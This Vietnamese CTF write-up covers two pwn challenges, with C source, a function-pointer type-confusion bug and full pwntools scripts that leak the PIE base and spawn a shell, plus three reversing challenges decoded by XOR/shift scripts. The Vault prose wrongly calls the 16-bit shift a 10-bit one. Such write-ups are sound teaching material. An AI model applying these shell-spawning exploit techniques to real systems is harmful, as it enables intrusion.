---
# System prepended metadata

title: Training test

---

## Vectorcalc
**Source code:**
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define MAX_FAVES 4
#define MAX_VECTORS 3
struct Vector{
	__uint64_t x;
    __uint64_t y;
    void (*printFunc)(struct Vector*);
};

struct Vector v_list[MAX_VECTORS];
__uint64_t* sum;
void* faves[MAX_FAVES];

void printData(struct Vector* v);

void enterData(){
    struct Vector* v;
    __uint64_t idx;

    printf("Index: ");
    scanf("%lu",&idx);
    
    if(idx > MAX_VECTORS){
        puts("Invaild index!");
        exit(-1);
    }

    v = &v_list[idx];

    v->printFunc = printData;
    printf("Enter x: ");
    scanf("%lu",&v->x);
    printf("Enter y: ");
    scanf("%lu",&v->y);
}


void printData(struct Vector* v){
    puts("Data: ");
    printf("v = [%lu %lu]\n",v->x,v->y);
}

void sumVector(){
    __uint64_t idx;
    printf("Save the sum to index: ");
    scanf("%lu",&idx);
    
    if(idx > MAX_VECTORS){
        puts("Invaild index!");
        exit(-1);
    }

    sum = &v_list[idx];
    for(__uint64_t i = 0 ; i < MAX_VECTORS ;++i){
        if( i != idx){
            ((struct Vector *)sum)->x += v_list[idx].x;
            ((struct Vector *)sum)->y += v_list[idx].y;
        }
    }
}

void loadFavorite(){
    if(sum == NULL){
        puts("You must set the sum before!");
        return;
    }
    __uint64_t idx;

    printf("Index: ");
    scanf("%lu",&idx);
    
    if(idx >= MAX_FAVES){
        puts("Invaild index!");
        exit(-1);
    }

    faves[idx] = malloc(sizeof(struct Vector));

    ((struct Vector *)faves[idx])->printFunc = printData;

    memcpy(faves[idx],&sum[idx], sizeof(struct Vector));
}

void printFavorite(){
    if(sum == NULL){
        puts("You must set the sum before!");
        return;
    }

    __uint64_t idx;

    printf("Index: ");
    scanf("%lu",&idx);
    
    if(idx >= MAX_FAVES || faves[idx] == NULL){
        puts("Invaild index!");
        exit(-1);
    }
    if( ((__uint64_t *)faves[idx])[2] )
        ((struct Vector *)faves[idx])->printFunc(faves[idx]);
    else 
        ((struct Vector *)sum)->printFunc(faves[idx]);
}

void addFavorute(){

    __uint64_t idx;

    printf("Index: ");
    scanf("%lu",&idx);
    
    if(idx >= MAX_FAVES || faves[idx] == NULL){
        puts("Invaild index!");
        exit(-1);
    }

    ((struct Vector *)sum)->x += ((struct Vector *)faves[idx])->x;
    ((struct Vector *)sum)->y += ((struct Vector *)faves[idx])->y;
}

void init(){
    setbuf(stdin,NULL);
    setbuf(stdout,NULL);
    for(__uint64_t i = 0 ; i < MAX_VECTORS ;++i){
        v_list[i].printFunc = printData;
    }
}

void printMenu(){
    printf(
        "\r\n"
        "1. Enter data.\n"
        "2. Sum vector.\n"
        "3. Print sum vector\n"
        "4. Save sum to favorite\n"
        "5. Print favorite\n"
        "6. Add favorite to the sum\n"
        "> "
    );
}

int main(int argc, char** argv, char** envp){
    init();
    __uint32_t choice ;
    while(1){
        printMenu();
        scanf("%u", &choice);
        switch (choice)
        {
        case 1:
            enterData();
            break;
        
        case 2:
            sumVector();
            break;
        
        case 3:
            ((struct Vector *)sum)->printFunc(sum);
            break;

        case 4:
            loadFavorite();
            break;
        
        case 5:
            printFavorite();
            break;
        
        case 6:
            addFavorute();
            break;

        default:
            puts("Invaild option!");
            exit(-1);
        }
    }
}
void w1n(); // try to view the code in a disassembler :)
```

Chương trình cho 6 option, thực hiện các phép tính cộng trừ trên 1 vector là 1 struct gồm x, y, và hàm printFunc

Đề cập tới hàm `w1n`, đây chính là hàm gọi `system("/bin/sh 1>/dev/null")`. Có nghĩa mục tiêu của chúng ta là đến được hàm `w1n`, cũng như mở ra 1 shell bình thường (do stdout đã bị đưa vào `/dev/null`)

### Finding the bug

```c
void loadFavorite(){
    if(sum == NULL){
        puts("You must set the sum before!");
        return;
    }
    __uint64_t idx;

    printf("Index: ");
    scanf("%lu",&idx);
    
    if(idx >= MAX_FAVES){
        puts("Invaild index!");
        exit(-1);
    }

    faves[idx] = malloc(sizeof(struct Vector));

    ((struct Vector *)faves[idx])->printFunc = printData;

    memcpy(faves[idx],&sum[idx], sizeof(struct Vector));
}
```
Tại option 4, chúng ta để ý dùng memcpy để copy nội dung từ `&sum[idx]` vào `faves[idx]`, nhưng hãy để ý kiểu của `sum` và `faves`, trong khi `faves` là một `vector *` thì `sum` lại là `uint64_t*`. Nếu như `&(sum[idx] + 2)` là con trỏ tới hàm `w1n`, kết hợp với option 5.

```c
    if( ((__uint64_t *)faves[idx])[2] )
        ((struct Vector *)faves[idx])->printFunc(faves[idx]);
    else 
        ((struct Vector *)sum)->printFunc(faves[idx]);
}
```
Ta sẽ biến `((struct Vector*)faves[idx])->printFunc` thành hàm w1n. Như vậy sẽ gọi được shell.

**Final script**

```py
from pwn import *

e = context.binary = ELF("./chall")
r = e.process()
#r = remote("45.122.249.68", 20017)
gs = """
b*printFavorite+298
b*printFavorite+257
b*loadFavorite+265
"""
#gdb.attach(r, gs)

r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'0')
r.recv()
r.sendline(b'100')
r.recv()
r.sendline(b'100')
r.recv()
r.sendline(b'2')
r.recv()
r.sendline(b'2')
r.recv()
r.sendline(b'4')
r.recv()
#pause()
r.sendline(b'3')
r.recv()
r.sendline(b'5')
r.recv()
r.sendline(b'3')
r.recvuntil(b'v = [')
e.address = int(r.recvuntil(b' ')) - 0x4070
log.info(f'PIE: {hex(e.address)}')
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'0')
r.recv()
r.sendline(b'21')
r.recv()
r.sendline(b'30')
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'40')
r.recv()
r.sendline(b'35')
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'2')
r.recv()
r.sendline(str(e.sym['w1n']).encode())
r.recv()
r.sendline(str(e.sym['w1n']).encode())
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'3')
r.recv()
r.sendline(b'20')
r.recv()
r.sendline(b'20')
r.recv()
r.sendline(b'2')
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'4')
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'5')
r.recv()
r.sendline(b'1')
r.sendline(b'/bin/sh 1>&2')
r.interactive()
```

## Vectorcalc Revenge

Tương tự như bài `Vectorcalc` vừa nãy, bài này đã thay thế tham số truyền vào từ `/bin/sh 1>/dev/null` thành 1 chuỗi khác khiến ta không chiếm shell bằng cách gọi hàm `w1n`. Điều đó đồng nghĩa với việc ta phải modify con trỏ hàm trong option 5 thành `system@plt`, tham số khi gọi hàm sẽ là con trỏ chuỗi `/bin/sh`.

Như vậy, mình sẽ dùng thêm option 1 để set các con trỏ thành chuỗi mình muốn, sau đó dùng option 4 để lưu `&(faves[1] + 2)` thành `system&plt`, sau đó dùng option 5 để gọi `system('/bin/sh')`
**Final script**
```py
from pwn import *

e = context.binary = ELF("./chall_revenge")
#r = e.process()
r = remote("45.122.249.68", 20018)
gs = """
b*printFavorite+298
b*printFavorite+257
"""
#gdb.attach(r, gs)

r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'0')
r.recv()
r.sendline(b'100')
r.recv()
r.sendline(b'100')
r.recv()
r.sendline(b'2')
r.recv()
r.sendline(b'2')
r.recv()
r.sendline(b'4')
r.recv()

r.sendline(b'3')
r.recv()
r.sendline(b'5')
r.recv()
r.sendline(b'3')
r.recvuntil(b'v = [')
e.address = int(r.recvuntil(b' ')) - 0x4070
log.info(f'PIE: {hex(e.address)}')
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'0')
r.recv()
r.sendline(b'21')
r.recv()
r.sendline(b'30')
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(str(u64(b'/bin/sh\0')).encode())
r.recv()
r.sendline(str(u64(b'/bin/sh\0')).encode())
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'2')
r.recv()
r.sendline(str(e.plt.system).encode())
r.recv()
r.sendline(str(e.plt.system).encode())
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'3')
r.recv()
r.sendline(b'20')
r.recv()
r.sendline(b'20')
r.recv()
r.sendline(b'2')
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'4')
r.recv()
r.sendline(b'2')
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(str(u64(b'/bin/sh\0')).encode())
r.recv()
r.sendline(str(u64(b'/bin/sh\0')).encode())
r.recv()
r.sendline(b'4')
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'5')
r.recv()
pause()
r.sendline(b'1')
r.interactive()
```

## Intel

Một bài khi chạy sẽ thấy 5 dấu `?` xuất hiện, và hàm main cũng rất đơn giản

![](https://hackmd.io/_uploads/BJfOe7rs3.png)

```sh
0x401620 <main>                          endbr64 
0x401624 <main+4>                        xor    eax, eax
0x401626 <main+6>                        ret    
```

Mình quyết định debug và gdb bằng cơm đối với file này, sau một hồi mình thấy được 5 dấu chấm hỏi đó xuất phát từ đây

![](https://hackmd.io/_uploads/rkrm-QHjn.png)

![](https://hackmd.io/_uploads/HkvH-mri3.png)

Các instruction phía sau đoạn code trên cũng rất đáng quan tâm

Để ý thì trên `stack` chúng ta thấy được 1 phần khá giống flag do có đuôi '}'

![](https://hackmd.io/_uploads/SyE5-XHih.png)

Mình quyết định si liên tục để xem toàn bộ flag.

![](https://hackmd.io/_uploads/B10pZQBi3.png)



## Vpn

Một bài tương đối dễ, chỉ cần lấy từng kí tự trong chuỗi `encrypted_flag` xor với 9 sẽ ra chuỗi flag.

Do khi mình mở IDA và đọc mã giả thì IDA báo lỗi như sau:

![](https://hackmd.io/_uploads/BJYknIFi3.png)

Vì mình không research kịp ra cách để fix được lỗi này, nên mình quyết định chạy gdb bằng cơm, set breakpoint tại những chỗ đọc input và handle input của mình
```
.text:0000000000001330                 mov     edx, 20h ; ' '  ; nbytes
.text:0000000000001335                 mov     rsi, rax        ; buf
.text:0000000000001338                 mov     edi, 0          ; fd
.text:000000000000133D                 call    _read
.text:0000000000001342                 mov     [rbp+var_200044], eax
.text:0000000000001348                 cmp     [rbp+var_200044], 0
.text:000000000000134F                 jg      short loc_135B
.text:0000000000001351                 mov     edi, 1          ; status
.text:0000000000001356                 call    _exit
.text:000000000000135B ; ---------------------------------------------------------------------------
.text:000000000000135B
.text:000000000000135B loc_135B:                               ; CODE XREF: main+E1↑j
.text:000000000000135B                 mov     eax, [rbp+var_200044]
.text:0000000000001361                 sub     eax, 1
.text:0000000000001364                 cdqe
.text:0000000000001366                 mov     byte ptr [rbp+rax+buf], 0
.text:000000000000136E                 lea     rax, [rbp+buf]
.text:0000000000001375                 mov     rdi, rax        ; s
.text:0000000000001378                 call    _strlen
.text:000000000000137D                 mov     rbx, rax
.text:0000000000001380                 mov     rax, cs:encrypted_flag
.text:0000000000001387                 mov     rdi, rax        ; s
.text:000000000000138A                 call    _strlen
.text:000000000000138F                 cmp     rbx, rax
.text:0000000000001392                 jz      short loc_13B2
.text:0000000000001394                 lea     rax, aInvalidLicense ; "Invalid license key!"
.text:000000000000139B                 mov     rdi, rax        ; format
.text:000000000000139E                 mov     eax, 0
.text:00000000000013A3                 call    _printf
.text:00000000000013A8                 mov     edi, 1          ; status
.text:00000000000013AD                 call    _exit
.text:00000000000013B2 ; ----------------------------------
```

Cụ thể, hàm `read` sẽ đọc tối đa 32 bytes từ stdin, nên mình sẽ `brva 0x133D`

Sau đó ta thấy nó `cmp     [rbp+var_200044], 0`, mà [rbp+var_200044] được lấy giá trị từ `eax`. Hàm read sau khi đọc xong, sẽ có return value chính là số lượng byte mà người dùng đã nhập vào.

![](https://hackmd.io/_uploads/SkyEa8Fi3.png)

Return value này sẽ được lưu vào `eax`. Như vậy có nghĩa là, khi gọi `strlen` sẽ so sánh độ dài input của người dùng và của chuỗi flag. 

```c
.text:00000000000013BE                 mov     rdx, cs:encrypted_flag
.text:00000000000013C5                 mov     eax, [rbp+var_200048]
.text:00000000000013CB                 cdqe
.text:00000000000013CD                 add     rax, rdx
.text:00000000000013D0                 movzx   edx, byte ptr [rax]
.text:00000000000013D3                 mov     eax, [rbp+var_200048]
.text:00000000000013D9                 cdqe
.text:00000000000013DB                 movzx   eax, byte ptr [rbp+rax+buf]
.text:00000000000013E3                 xor     eax, 9
.text:00000000000013E6                 cmp     dl, al
.text:00000000000013E8                 jz      short loc_1408
.text:00000000000013EA                 lea     rax, aInvalidLicense ; "Invalid license key!"
.text:00000000000013F1                 mov     rdi, rax        ; format
.text:00000000000013F4                 mov     eax, 0
.text:00000000000013F9                 call    _printf
.text:00000000000013FE                 mov     edi, 1          ; status
.text:0000000000001403                 call    _exit
```

Đây chính là đoạn handle input, vì mình thấy nó khá đơn giản. Đây thực chất chỉ là 1 vòng lặp và sẽ xor từng byte của flag với 9. Vì xor có tính chất đối xứng, nên không khó để ta tìm được chuỗi flag ban đầu.
```py
s = '^8rq9{Vd:VyesV~9|emVph6t'
t = ''
for i in range(len(s)):
    t += chr(ord(s[i])^9)
print(t)
```

## Vault

Ta thấy tương tự như bài `vpn`, bài này cũng cho một chuỗi flag đã bị encrypted. Đồng thời, thuật toán để encrypt flag cũng trông phức tạp hơn. Mình vẫn sẽ làm như bài `vpn`, set breakpoint tại lệnh `read`, sau đó kiểm tra đoạn code handle input của mình.

```c
.text:0000000000001353                 mov     edx, 30h ; '0'  ; nbytes
.text:0000000000001358                 mov     rsi, rax        ; buf
.text:000000000000135B                 mov     edi, 0          ; fd
.text:0000000000001360                 call    _read
.text:0000000000001365                 mov     [rbp+var_2001D4], eax
.text:000000000000136B                 cmp     [rbp+var_2001D4], 0
.text:0000000000001372                 jg      short loc_137E
.text:0000000000001374                 mov     edi, 1          ; status
.text:0000000000001379                 call    _exit
.text:000000000000137E ; ---------------------------------------------------------------------------
.text:000000000000137E
.text:000000000000137E loc_137E:                               ; CODE XREF: main+104↑j
.text:000000000000137E                 mov     eax, [rbp+var_2001D4]
.text:0000000000001384                 sub     eax, 1
.text:0000000000001387                 cdqe
.text:0000000000001389                 mov     byte ptr [rbp+rax+buf], 0
.text:0000000000001391                 lea     rax, [rbp+buf]
.text:0000000000001398                 mov     rdi, rax        ; s
.text:000000000000139B                 call    _strlen
.text:00000000000013A0                 cmp     rax, 20h ; ' '
.text:00000000000013A4                 jz      short loc_13BF
.text:00000000000013A6                 lea     rax, s          ; "Invalid vault key!"
.text:00000000000013AD                 mov     rdi, rax        ; s
.text:00000000000013B0                 call    _puts
.text:00000000000013B5                 mov     edi, 1          ; status
.text:00000000000013BA                 call    _exit
```

Giống như bài `vpn`, chương trình sẽ kiểm tra độ dài input. Nếu không bằng 32 thì sẽ exit. Vậy ta biết được độ dài flag là 32.

```c
.text:00000000000013CE                 mov     eax, [rbp+var_2001D8]
.text:00000000000013D4                 cdqe
.text:00000000000013D6                 movzx   eax, byte ptr [rbp+rax+buf]
.text:00000000000013DE                 movsx   rdx, al
.text:00000000000013E2                 mov     eax, [rbp+var_2001D8]
.text:00000000000013E8                 cdqe
.text:00000000000013EA                 mov     [rbp+rax*8+var_2001D0], rdx
.text:00000000000013F2                 mov     eax, [rbp+var_2001D8]
.text:00000000000013F8                 cdqe
.text:00000000000013FA                 mov     rdx, [rbp+rax*8+var_2001D0]
.text:0000000000001402                 mov     eax, [rbp+var_2001D8]
.text:0000000000001408                 cdqe
.text:000000000000140A                 xor     rdx, rax
.text:000000000000140D                 mov     eax, [rbp+var_2001D8]
.text:0000000000001413                 cdqe
.text:0000000000001415                 mov     [rbp+rax*8+var_2001D0], rdx
.text:000000000000141D                 mov     eax, [rbp+var_2001D8]
.text:0000000000001423                 cdqe
.text:0000000000001425                 mov     rax, [rbp+rax*8+var_2001D0]
.text:000000000000142D                 shl     rax, 10h
.text:0000000000001431                 mov     rdx, rax
.text:0000000000001434                 mov     eax, [rbp+var_2001D8]
.text:000000000000143A                 cdqe
.text:000000000000143C                 mov     [rbp+rax*8+var_2001D0], rdx
.text:0000000000001444                 mov     eax, [rbp+var_2001D8]
.text:000000000000144A                 and     eax, 1
.text:000000000000144D                 test    eax, eax
.text:000000000000144F                 jz      short loc_147C
.text:0000000000001451                 mov     eax, [rbp+var_2001D8]
.text:0000000000001457                 cdqe
.text:0000000000001459                 mov     rax, [rbp+rax*8+var_2001D0]
.text:0000000000001461                 xor     rax, 2070h
.text:0000000000001467                 mov     rdx, rax
.text:000000000000146A                 mov     eax, [rbp+var_2001D8]
.text:0000000000001470                 cdqe
.text:0000000000001472                 mov     [rbp+rax*8+var_2001D0], rdx
.text:000000000000147A                 jmp     short loc_14A5
.text:000000000000147C ; ---------------------------------------------------------------------------
.text:000000000000147C
.text:000000000000147C loc_147C:                               ; CODE XREF: main+1E1↑j
.text:000000000000147C                 mov     eax, [rbp+var_2001D8]
.text:0000000000001482                 cdqe
.text:0000000000001484                 mov     rax, [rbp+rax*8+var_2001D0]
.text:000000000000148C                 xor     rax, 7020h
.text:0000000000001492                 mov     rdx, rax
.text:0000000000001495                 mov     eax, [rbp+var_2001D8]
.text:000000000000149B                 cdqe
.text:000000000000149D                 mov     [rbp+rax*8+var_2001D0], rdx
.text:00000000000014A5
.text:00000000000014A5 loc_14A5:                               ; CODE XREF: main+20C↑j
.text:00000000000014A5                 mov     eax, [rbp+var_2001D8]
.text:00000000000014AB                 cdqe
.text:00000000000014AD                 mov     rdx, [rbp+rax*8+var_2001D0]
.text:00000000000014B5                 mov     eax, [rbp+var_2001D8]
.text:00000000000014BB                 cdqe
.text:00000000000014BD                 xor     rdx, rax
.text:00000000000014C0                 mov     eax, [rbp+var_2001D8]
.text:00000000000014C6                 cdqe
.text:00000000000014C8                 mov     [rbp+rax*8+var_2001D0], rdx
.text:00000000000014D0                 mov     eax, [rbp+var_2001D8]
.text:00000000000014D6                 cdqe
.text:00000000000014D8                 mov     rdx, [rbp+rax*8+var_2001D0]
.text:00000000000014E0                 mov     eax, [rbp+var_2001D8]
.text:00000000000014E6                 cdqe
.text:00000000000014E8                 lea     rcx, ds:0[rax*8]
.text:00000000000014F0                 lea     rax, enc_flag
.text:00000000000014F7                 mov     rax, [rcx+rax]
.text:00000000000014FB                 cmp     rdx, rax
.text:00000000000014FE                 jz      short loc_1519
.text:0000000000001500                 lea     rax, s          ; "Invalid vault key!"
.text:0000000000001507                 mov     rdi, rax        ; s
.text:000000000000150A                 call    _puts
.text:000000000000150F                 mov     edi, 1          ; status
.text:0000000000001514                 call    _exit
.text:0000000000001519 ; ---------------------------------------------------------------------------
.text:0000000000001519
.text:0000000000001519 loc_1519:                               ; CODE XREF: main+290↑j
.text:0000000000001519                 add     [rbp+var_2001D8], 1
.text:0000000000001520
.text:0000000000001520 loc_1520:                               ; CODE XREF: main+15B↑j
.text:0000000000001520                 mov     eax, [rbp+var_2001D8]
.text:0000000000001526                 movsxd  rbx, eax
.text:0000000000001529                 lea     rax, [rbp+buf]
.text:0000000000001530                 mov     rdi, rax        ; s
.text:0000000000001533                 call    _strlen
.text:0000000000001538                 cmp     rbx, rax
.text:000000000000153B                 jb      loc_13CE
.text:0000000000001541                 lea     rax, aVaultAuthorize ; "Vault authorized!"
.text:0000000000001548                 mov     rdi, rax        ; s
.text:000000000000154B                 call    _puts
.text:0000000000001550                 mov     edi, 0          ; status
.text:0000000000001555                 call    _exit
```

Đây sẽ là đoạn code xử lý input của mình. Trông dài nhưng mình sẽ phân tích chi tiết như sau:

Ta biết được khi chạy trên gdb, `[rbp+rax*8+var_2001D0]` sẽ là chuỗi input của chúng ta sẽ được mã hoá và đem so sánh với `enc_flag` lần lượt từ 0 &rarr;31. Và sau đó, chương trình sẽ lấy từng byte trong input của chúng ta đem dịch 10 bit qua trái.  

Sau đó, chương trình sẽ check xem biến count của chúng ta đang là chẵn hay lẻ. Nếu là chẵn thì sẽ đem kết quả vừa dịch bit được xor với 0x7020, còn lẻ thì sẽ đem kết quả đó xor với 0x2070. Kết quả sau khi nhận được sẽ được lưu vào `[rbp+rax*8+var_2001D0]`, với rax là biến đếm. Và sau đó `[rbp+rax*8+var_2001D0]` sẽ được đem so sánh lần lượt với `enc_flag[rax]`.

Vậy mấu chốt ở đây là đối với mỗi phần tử trong `enc_flag`, ta chỉ cần quan tâm tới byte MSB của  `enc_flag[count]`, với count chạy từ 0 &rarr; 31. Vì chương trình lấy từng byte của chuỗi đem dịch 10 bit qua trái, chính vì vậy ta chỉ cần reverse để lấy được byte đầu của chuỗi bằng cách dịch phải 10 bit. Từ đó sẽ có được flag.

```py
a = [0x577020, 0x302071, 0x797022, 0x612073, 0x357024, 0x712075, 0x597026, 0x372077, 0x787028, 0x3a2079, 0x78702a, 
    0x6a207b, 0x78702c, 0x3c207d, 0x3e702e, 0x61207f, 0x4f7030, 0x672061, 0x737032, 0x662063, 0x787034, 0x612065, 0x497036, 
    0x702067, 0x777038, 0x762069, 0x7e703a, 0x44206b, 0x76703c, 0x2d206d, 0x7c703e, 0x62206f]
s = ''
for i in range(32):
    t = a[i] >> 16
    t ^= i
    s += chr(t)
print(s)
```